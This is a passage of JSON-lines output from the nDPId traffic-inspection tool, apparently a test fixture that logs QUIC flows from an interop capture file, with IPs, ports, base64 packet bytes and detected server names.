qRQF0bots7U2r2su6TX5cs\/tWsUtfcKDq01p1Oi+UeZRz\/V+lKX5GfCRE\/JIN8wqGMoYFzwTiwgXQFJuV\/tc8U4uoRYgnau5MAB9+BYOU44CnqwsIla5AaVfMisOMnVZhANbfOkDwWOMuBcFcvM4iPJEdLrpJXtiL7lozz\/DNjHrb6qIdiWBMUyCod\/1w5XY81jvBVw6EPdS52X\/61VYwnM6etnlrj2efLI9zOedaqcKmUUuU5hMhqfCCW6Ds62KH8dV8j+mD8L1skbcaPGiQBq8L77krzCDv+w=="} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1603816434586,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","src_port":39624,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.tech","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1603816434587,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"193.190.10.98","src_port":59171,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02114{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":587784,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA73RAAEARuC\/AqAGAwb4KYucjEVEE7DgFzwoKCgoIOPxKwZ+D2JAAAETS91nHeEtqNVprqBpjlBuMS4qDhd3kUN8qDrM+F\/ekloYAYgcZUMLt8kdbAj4yNgXM150XEsSqUaY2u+NNo8mFZEwXy2OnYTv\/L1pA2ooV9c\/qfb6IQtVvpkYCa79kPBP0tyFMp4w86ypVGLJRFE2wcR8W+ufL4zQbFmHQUN4s8EKBgftF0IZ9d+hGzrCohfVKAmj2TbAATwLc5qROqnCXSPAAIwsgXC6FvxeRe5C81GzRnEFcVKohNWvuH+YgU\/EQzJ8x0h2o1KXN+x2kz8nNm4RV\/bBgatrr3rE9I9H9H7X4vNkwSkPN1LE\/7YLaXxFkeX+BvfHM9pLsCwVYI43jNMZK\/82M5vqAJwLAoGNaMNRy1bvSqZ2Qnqs8doUi12HdtkWRB7hy4DLBCO6i\/WKQJjLKdpFeD7phx\/6P3mBKcjDeMOT9LGfsfpWDEggtVg0K+PNic2DC+MGaabHUIfDeFXxZwVJQjnBWnr7uiJ1+uGYObevmoi83q\/oHGzH2zJ45l2SHUS8N5EDtYU7jRJ0C0k352go\/BLzWhvpxttBJ0HkbJN+Lf8iGQ7\/HNrO0sSvxhBlXfXloOUmwXwy4ZOiFy754b5M3BhRivvL68fxBqtVY1N2wA1osEboLNfPnmjiBhXxUugq2mfHLbsnTaxih+guwrlRqVVQng52RQJYpjyC\/IQpqxIgm\/p+tg8gZMclfhCysFzs0Sx7c51U8U\/eV6RVzg4J9aZi1F6t1E9qqrDD9rTgXDBFK+53U4dmwwrA3ilycimT\/hbzORA3BufMgHAOtz3cpn\/t7KLfrocmCHydxweYPjYv8od0eN7GuRZC\/Dkkx5pLEApXJKbDycSs4W77Wi8NgAqHOpGnI10QBHXyfFP+YPX\/MbUtvkqyBKvQeesidGlYsUe0gYlnKX1yYRVG\/iKS0PMJZC3FHvFiL6obiVGRuwwpTV3d7lkotBNp2jqZCw1NLWglC1fuu1coZsHS72tmzKvcBFgtdmqwenN1JrK8F5rdOVfBQ8yE66XD3W8yAjlz\/Qvq\/DIB7QOU2zYdRo\/xweEsuV1v5VGk+8J0AJw0wbBWw2a7KJD1o3bx\/fl3Fi0jbHAOf1Fon8qpBSfuKwo0q4+YMAnbX13uRf4o0syD1YOszGCYMMZmBO0q\/PYK7xkQl3CoFVjP6bHq4sVQrk6j7MBPS838Z1ManSJBz3k+oiO\/sknlDJhNUIHfSq8TgRjn5JEi1pn2KhrqsPoB73ZpXqkfBB7bu8rzkBoJrWwjjZeFkHJOfD8ToexbXz43k\/IjggUNPy2WSLw1q33LeO+gOH5GXB9\/QgYQ697NrQKVyKlRVZXeNUwnQS4zycuS8PuKHeqfdW9Z+9PEo4DpPFRu+B7BfvVgxbF3wCCeyZwvtKZFkAMhl54zHOUC4V5hgvug19KxTuTtQDyeR7SJbTf3aDyi+uN2eX72\/wUD5r\/K2ChPZ9Gse97JUpH8JYVHPwSDEUEO85gNWGwO2wDrwXcE1X7p+U2f6nsA1R+bUBz04uvKlIU4Sa3pHvuKQRjh6XPQ2ThEX3UW558Xx7NikbDf\/f1LNSL9NCOFEeMnTLHFDcVVOXK5I01l4ewmR2fHvlVQvWH\/bOr5xDcwdY+kNlEO6n\/7tlWOai8jsYPqutA=="} +00741{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1603816434587,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"193.190.10.98","src_port":59171,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quicker.edm.uhasselt.be","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00521{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1603816434590,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:4:34::1","src_port":35643,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":590003,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gCk\/uBNgRQCABCwcKydWupNP+R2kegH0gARnwAAQANAAAAAAAAAABizsRUQTY3hvBCgoKCgg1RfSbShWYtQAARL7tTf7Q3DPhiEmC4nM7FyCePUSXuhX\/xJUKDzdA3Dndh7i7AZ7IYGRP1Yj0EuU9mm9YXASeUAKarL7NfQFkziaDEWFlefwq8ZzHKOgKpSqZeoocfYxvZJ8CSRvYoWz\/L6jmv6jaQeOLENERntb1qDtsRo5+v992QGLT9TUEMVkwT2FvUb5KMSqTvrwWgkM2hgSTV4EyBe1D3gc0yLlWmSFz3jz3ijFR560nQwOMUo4q8F8wUAgTdOAVJvBGKThzf\/CoAwD57myBv4uKJMnypuTatEvPlB46uv\/yty2eheod7+0rebXxYj4Uc+UqPb9wT8PhoyG868QW5UmJx34aYK7eN3JuR15+ImKbVmoE6EL83PSKYkHyQopRIotBEKQDm+GsSi14PMbpT\/MRFwhAVJ+sQdlkceub2KUXDJHao+eBA5w8vGU2OKSHGw6MFHU+N+USgIVLGu8C0b2WNKFbDS9r1lqcSYhWRSXCnwTaP8cP1GWArgqHq4NJrJMJXD+xs1H+vApBkOM\/ZeUAGUAtTfkrI5gOusV9oUnq2ItgMvR76a8xKxY\/SiVzw7ucrWK5N2tQ5JkPI\/NGcIpsYWE01h06TOMdCUToNwiJfkP0MPn3vMz2JyLbhE71KWygYVxZlHissMIrLNj2hzs1t4mgi8Dfs0l9RtozbB15+zjCqfBYkvDNCXVfu0MO1trH5LQH40Myn9bZeAAzq9F2i07k2zD6tl2iozB832XjSA\/tFg7fJub\/mksvHDenolmTIZGI4wO5Z3NTh426m1Xr55i+p\/4y\/Q9IBI2x3X4SBvQZun3kWH6dWj67baJqzcocTD7LnXnDRN2eJnB0+m+Xkg+SR2CQD8FNHBCSnN7Yu9TN7g85clS9FrvmkHqNboNkc2KyQf9kCWlFhRrzo5YX6fx357\/JlHGWmF2cH2EDuHHJfgxwA9G7HuV2intBnLuQm+sJuJfIh6mRTKTYdC1aBxO+FJkXatzCzuj936XOJG7cJwInBtGXzIe7oIez0hn4nIWhuMBVQhhszVOH9hqsvsKAdbnYUdNA1USW6D7R\/xmghiopDfGtjIWLxZREthLkrTZvJPOso30GmJwYCSy+9OZoV2Nj47lGe912feEm235ruyUlWsQTuKpfyC8J7r+SbB5tplBhKbatYRidI3hpJ2q8lvOUBcxy5jvAvjqVG768S0brsL7G6C2TqvMZt\/zTMuDkIHPjWiNDebCJ\/p2a5kYJOC4jhcbwjh\/tz0WznkGbQNVpLag1ovorvXAKpAYOP3LJnhQhOOuZLuZrJxyhVrae9z9d1NLFL8OUzD\/ZclBspPNm3p1e1A75CP6tZBmrEoDhbY1SV4p4vv10\/MMVCqO2nZs0ov\/lFT0sC7weM0SiUoUILcoLsraaHxz2srKVBtLbHRHf5VErVRNyjOmGUC3wJs6R34sc\/8zeM+d6HZcDlUk9ii7+g55y3G7oiGyj1ls\/gUdh7+ZhHGeX9MFF\/5EajWroXTez4lAWvOzswVIh9B6VOueE+IAtyKSx63VOgxYY7yYRidJ+wxQsHNXarhpUCSPeTmkyBv4qdWIHzyXgiUcAahzyxWMUHmvyy0MueTnQQdoRS92QfxncoT12pzPDDw=="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":25,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1603816434590,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:4:34::1","src_port":35643,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.rocks","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00534{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1603816434595,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2400:8902::f03c:91ff:fe69:a454","src_port":56213,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":595118,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gBnpkBNgRQCABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRU25URUQTYvvrACgoKCgj9UoceU8iiQAAARL7az3aryiG\/WW4QSFw5q8b+\/qI9una68JfIBN5RDAlSWxI5aN9NrGnm63U\/Z5hZqT855BEAbzFsnSq9T5UoQJSQWJO+OxKLmuziQZO7srez1fkkDupTN1wkkdnmywDXZcMkFQ4tXNVtGsfMIyPoMOjkuNgYuL+TrFwg96COI8IOfhzUGRFJf8K8t+t3YLfMWc5IM3WJ\/phaCjLWvabCUhYVrFgZVTenSIvn8FoTPxqo1m1xa4G3n8d3o2zFUc4XDalUQSYfIsGCZ\/3VGNAlkjuVi1uuzvCOp0qJEHMlsJ6OjaNJzjSj1b5X311lbaXLxEgAACVJ7mOpBMH2eUKlimPQIRjgO8DFiVT1VtetHEHo7XxD9z9DaojFHhQILu9Ndy7QJYx+8OxPwi0k7EQtFKIeO3QhbI3teT8NwQXlJnQv\/J7yzTNnMCu3L9LWIn6C92d5qUB+1utWZXR28cNynLbRjuRNINQIzfTFmS9iOpbZglrT\/GnsqhcaOJm2t9XrSu4yCE5z0c4wHo6GnMAN05DOXBY0yYPljkh7vr4aKEDxXsaCMcwmcWxYnUlFep8Gex3JVoSlUGz95+zuvHb46+MC+XDiipznc431Qn7rrxOB6lgYcTG7kLf\/ZmPHxmDGAINfIYtZO7xiSc5JWwhUA4ikdzTJaE0uo\/HCIsdSFQFJJlEXfiQ6f+9Lg4o4oHt\/v4TQTOThiS8hA3g+cEIozsYToLOF02tEqrwi5BbfszIjeKKW+XlfuQgTXnd+fgE5dAu5Oc7BakCjmnGBb3Uz3ugNj5DTo6+ojP6UY2IU771P\/fqTADAKhT3onheWYJvxAkrQZHLnIxcgu5DA\/5Es1ztGUo\/es0BosHYusWos2FbBdJpxb+gu5rvMEmPCkuCIpZpBZLLug0rWMitGXgJfX9MWvPAjBWdKWTbvcBzKFwh5+\/1ocEXw0VaT+NsU2weQMCO1YYpPIlc+42jUQfCx0zKYejhkxNEoAo38Q29iwZcFALT5rf0jYyMQpMUMcNFQQqqzbrcaHvvgWQzH+lUkFSqbhBqtX5WCPuLWxkDb\/9GhQLNx0Q1IujSYwA1SIvLeb9bsrMAWKENc82M+Wwn3RcXpJ4cDa0hrN+3NcY\/5t1ve6RDek\/0oY6QGGW1JE\/CmiO8t+4Q02FuHroDarDyPM4tHJeLOT2NE6bUo4WRjaSNVu5ng0Eq9X3XBmx0Ikdv91XlzFM87UC5R3r52ZTZNTnO+xLkNyA4Cub32cJnhUFmGLoaAmiMCxezGxr9YUy9YTVqutoTlfA5jfzAmMWcvfXhM8IAoJ7O2szD5hCSuJ8MX3ML7TFR9jrMTogwqPbeDECUgOiFmruVR0+GuDJb2riqtAhc7PvwbnCVPAYbBoyaoy31mi2TG71Wi\/w4IaZaos63DgLgXPzRaSbjG1c2zVPlGYLiTfXzEyhvOk3Mv8aR0DqJ\/gqVm0SvfiOZnBGk5gzICSopKt52HHnW1EwSPCiNSbMh18YFppr0G1bbAe15xP1\/\/Pk0jzR\/wXBG5JS37im5z+jqUQpnV5dcnvgYoRjpgGuTxRGXLjRfoOGzSlFstUpRTF+iEOL+rt3XO56SlECJkrsnzQoo2ccoM5Hgg7A=="} +00770{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":26,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1603816434595,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2400:8902::f03c:91ff:fe69:a454","src_port":56213,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"nghttp2.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00543{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1603816434599,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2600:1f18:2310:d230:5103:7d9e:7d75:374f","src_port":52080,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02106{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":599720,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gBgPLBNgRQCABCwcKydWupNP+R2kegH0mAB8YIxDSMFEDfZ59dTdPy3ARUgTYU5HKCgoKCgjzn\/uzo5TjaQAARL4oIwXE1bV3X2RQF+ON3RTsnJX4an3jVlQ7KRPGPw\/cd1gZtN4yjes7ivlyOcq2vm957CNTb4Z32AWph+bIp0qE95znKWOclgtBgRpaMvlLDlaUbTJ1Kjqhg7PudTMGHo8kc8ERMms7zx2J4fSxALfbKS3w04Pkl3fNYWkwJZG9jA2z+7UujsQZ2YxzLHhbiMSZctmG+MqTnAcyQxUOVqOLFrLaBhAxisgQ5MezG68hwcDBiS0ypz8ByM9sY1JtZ4VMrD6ux21WiJ\/gTvOv91V5Grp5XnTWdbnNLG7GrfS3jGjTn2Un\/r3WCKJ0WajhNLHmPUR9BFLSVFG5JiyNgIWA0\/HgJTXD99jRhJkBHyvLeL3j9ePlCvGQ9KCY7A+MdgP5+hrP1QLH82VspHtB2VvSSvMREFxd8jKlKrGybrolBflILJX4GGJlg2hWcC+HeiZGufy5yPCOCbIVpSVQOMyBBe\/Ph0aL\/4q+E+2qJVdBHso12q7ZRf3KyV6KD\/C8p1m5HJ5lk4kmjjCsWakG5crp0wLCKMw1zK5GEWknO8UExqKvojXXFzU2Be74eZgjrj394KHSeeH524syPc8swoO75W7hTdsrJB\/rbuBB+sKBiDCauvTcD0r\/ZL2kwgN2l\/QahiKQcXG7cPXaL3PMAV+\/0HhLKSqjypOevG9iWlPhJOE9CkOrIJqW9G8TK1GKGdKLlPqAZLZ9m71TcFKjQ2zo2h9JsVhhsxqsVTUojf9bVe63KowZvJiNw7kbG5Dx9zv3qk76Scw0pW+2ZZHPjdRZTjmKSA5Y+PYOoxxOicDP9ZVOp+8YwJbnh4YepP36tZkoI4e5hYmgEwZOjt6Yo4GxIrGzuNcUfaa96FJIqS3n0i7MAiXzBsvTUSDnlPJz08s7uoWN3Db9JOSBxZX5qHn+WlZCt6oEKkU8FdQI+7reYK7AI5cK+7Fg6zvWA0dR4F7VGaHhGDIqy3gLf7KmEEyWYRoePUORLvgVC8XTilGAf6Bjlqx9PRGxm0Ja\/4HplWikLpRAYamguRrJONKI6nEhSn9lO27tMAcOTn8Tf6RTu95+ny6hbgPd\/mMKokSGNF7UUtZjCk6cbVH3J7cHgGQXOTjQysmlrFxV2bF8LUmKKxWDOYfmVKmHvf7ramU2h+1zK66w6qsQI2OFBYV6F\/QBKPRxAQlchq5r5kgySGLxmw3m6+Sf6hz7sbVIbyNA36ENRVuZXdVSayaI5VXU677nJtG12s5uEZtWJqnu3YVN\/KK+kE1AeI06S1byEfRfdS5qQoFDC+c6GGJFo5dVEZxLnoVZC3EhBh7dWvLthE6jKMd3CbXVgnSRl9JPjiWwsbn7FBHeycKSDuew5OQ1HtZpeRUJUk5nMgSUOUI0YZ50IJIEFtw5YNao7Ddw10e\/\/nmynctyewik6Tvc8zLrSWaSqgViA6i2PaP6Pv2MZCMyK\/X3XqMdRGKXZs\/jr8\/dMBZX3F\/DYmeMdlamiU1RcDJHP8r+9yBXO9yUXOhN7Pnl31zJ6vG4vR0yXekz\/kuQnX3VMYt3WopVdGtyLE43Smp\/Tz11cx6MymTg0YsqpJ+vSsiBwEm1Kebt\/+JMBAhlGhj5jM9y3tuD9xf5ApCnIw=="} +00791{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1603816434599,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2600:1f18:2310:d230:5103:7d9e:7d75:374f","src_port":52080,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"test.privateoctopus.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1603816434599,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"71.202.41.169","src_port":37661,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02110{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":599728,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA8YxAAEAREMXAqAGAR8opqZMdEVEE7ChGywoKCgoIqaWx\/UJ+JLQAAETSRegWnRcPLKk7uYLS8VZ6A+zIwJb1mPqvy2MKL3Tt2jbz4sn5hDNSysWyy0Q1vrUZJyUEmOGV1jj\/0B2GZUMMnU+bx4P64TDztfWRCEsX9xqURkrteqGz6ltOPoTMK6uGDuQl8788DuRU6AkQ1v9y\/IX5DuObM3NrRxVsTfrPVsxKWrlvhhc8+bzP4RcGvyJ\/YYHHHWv8RiMZV8ZiNqzD\/Tz+RFWP04TpQ4H0wJGgAkCU7iYd4ab1bDvSCbzjD468MBlMvdV6E9+6rcgmFKBMzQQdE+3VD+cPof5Frq5N6HQby2yYtJudG6NrUX73fAa2KQZnzYR4AbsJmaaX8pjzhRDzDU9lkoPYf4Oc4\/nC0DEA60ezuIdY6ti8wvtU78brnoSIwXQNufJ3MzKMZWZJpg9zM9qPOZYsquFKurbo78k5\/rJeEvIak8OZ1yOE2HfW77PYo2g+KEWaP\/fvQAQmwoeHxVcoRheC4X\/2hnLsZC4VDGWTctTohPZkhIIguZevQcdGStgdNPOoe23oCG+cigtTE2XZqR98GoabuEhLVpX8IFbc399f2Ed3R9zv0BqRW7l9W+VGBCK8l7hYQJcjAGrqb6UxP9n5twWwwy63e4tac05Mv3YxsBf\/gpWY1CeGoH4A3AOIfnYfHjCBkCKDei184tAdAwJXAV8xwNIvdB1dw3Mc68J\/Pfqo1EfLZjZfaNqOe3f8viMQO4rriT8gdNtZ0CgbJJiTTs0v3CCooFyBSmtQOJYSnaqzYT+uTl0hY8Pv7OC+YTEfEJsGmbz3bNDq8LTl15HzHDF6\/S0tKU8O8InGVtk\/4xlinam6Cr3IODbyJ4bhBkIKy8MFcG+qdHGW4VYXvs5ZK3HFwh9xB\/co3gy3WkEyPgUxAVTluIvDqC8K6I1mGrN5z9mmI7+cQWr+bnYAVDEJN4rmkUxjOxyuiiOc+eUaT617fUn1I8bpVOZvNmAr\/m0w4TmV040UAJX8kNuv73I76cuzAXTqPGp1OIlB8p\/rUaLeRtwOv26NjRPMlDjdM\/2\/Ilg8tpUGW7j\/eqU5QmqHo\/Tiz3kNBpIfGMBMuOWA\/+PbBvi4AgIZ5msvRnQ6tvRm+GWBEDzs\/IRYnKTailefoHxjXB0DNFDc4zDa+tiGPQt7PmYE5fk8D2cP4OlLJtPGya0qenuuBZpE+9egccg6vsbROrFnslZRL6+0pFRqbKJZSvkqUbHUrlE\/JfB\/RdVa6sOFQkyGbFLPZtdG76DZnk7EFNB+78rrmYjzs6QdbL0HyurZ1UeWbBWI2fQCt4n30u475\/uIDFvQNfHznThYw1T3lHUvAqHOyJ\/ccQ7CPkJlpFBs41COx+7rd4GKmxiD62jg+b4QoriC8bYd6M7zXH9NxgT2wgi7+ApxeYKupXdFHK42Vnp2KF58erKh\/QyLOmaga5TR43mFPJ1U4Glvlilv1YLFtMnz+s5m3xpG9nXQX\/uLnoR+QzZ7ZpahZpcCH3jpOUBrBQLDS3SRPYGHiIfQ3MTxt\/K2HL9xf8n7chjG+XDpVfD+Ow4ZDOisoboLR0pMTJoCSzc7NiqX5QJC8lHEJcQJ84dLF0V8eZdiDwD0a\/E3DacaQJIW+8v0unPtOxdaQoXsSVsGNysZHm0clQcBwxWaX8rC0w=="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1603816434599,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"71.202.41.169","src_port":37661,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"71.202.41.169","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00465{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":601225,"pkt_caplen":85,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":85,"pkt_l4_len":31,"pkt":"PKn0qB\/spJGxgjQ5ht1gCaFmAB8RNSABC8hHpBwlAAAAAAAAAAEgAQsHCsnVrqTT\/kdpHoB9EVHH8QAfHOHYAAAAAAAIMG1gGePLGT0KGio6\/wAAHQ=="} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":30,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1603816434601,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"140.227.52.92","src_port":37784,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02105{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":601769,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAQM5AAEARcbfAqAGAjOM0XJOYAbsE7P6myAoKCgoI8EYvtCcjifcAAETSFB6sl\/lkLZ53JqQdlE2I446feeWqsyvCToqdH\/63WgFZXzAd5XJaz2hSlpGEY3otY+eR2fXJeeeLgKjgc1xdXndquYfP60ARoUpa1CNURQDv3dVUcZH4ZRr7gXB5ZoVF7\/jeJ12Vn6muRxM8UUAONwgdRKDgiL0UJP4xo5\/U0EJMBAoIApMkTic7rgG2Bh+mE0INS4tt2YDtZQWRkNwxdusXBvMW5Xh6sJWHpZCpVde45Vj8XrkpX2zzc2M+YhMwcBgNKHixMOLCc1OsZDjp+pVjqtaNwu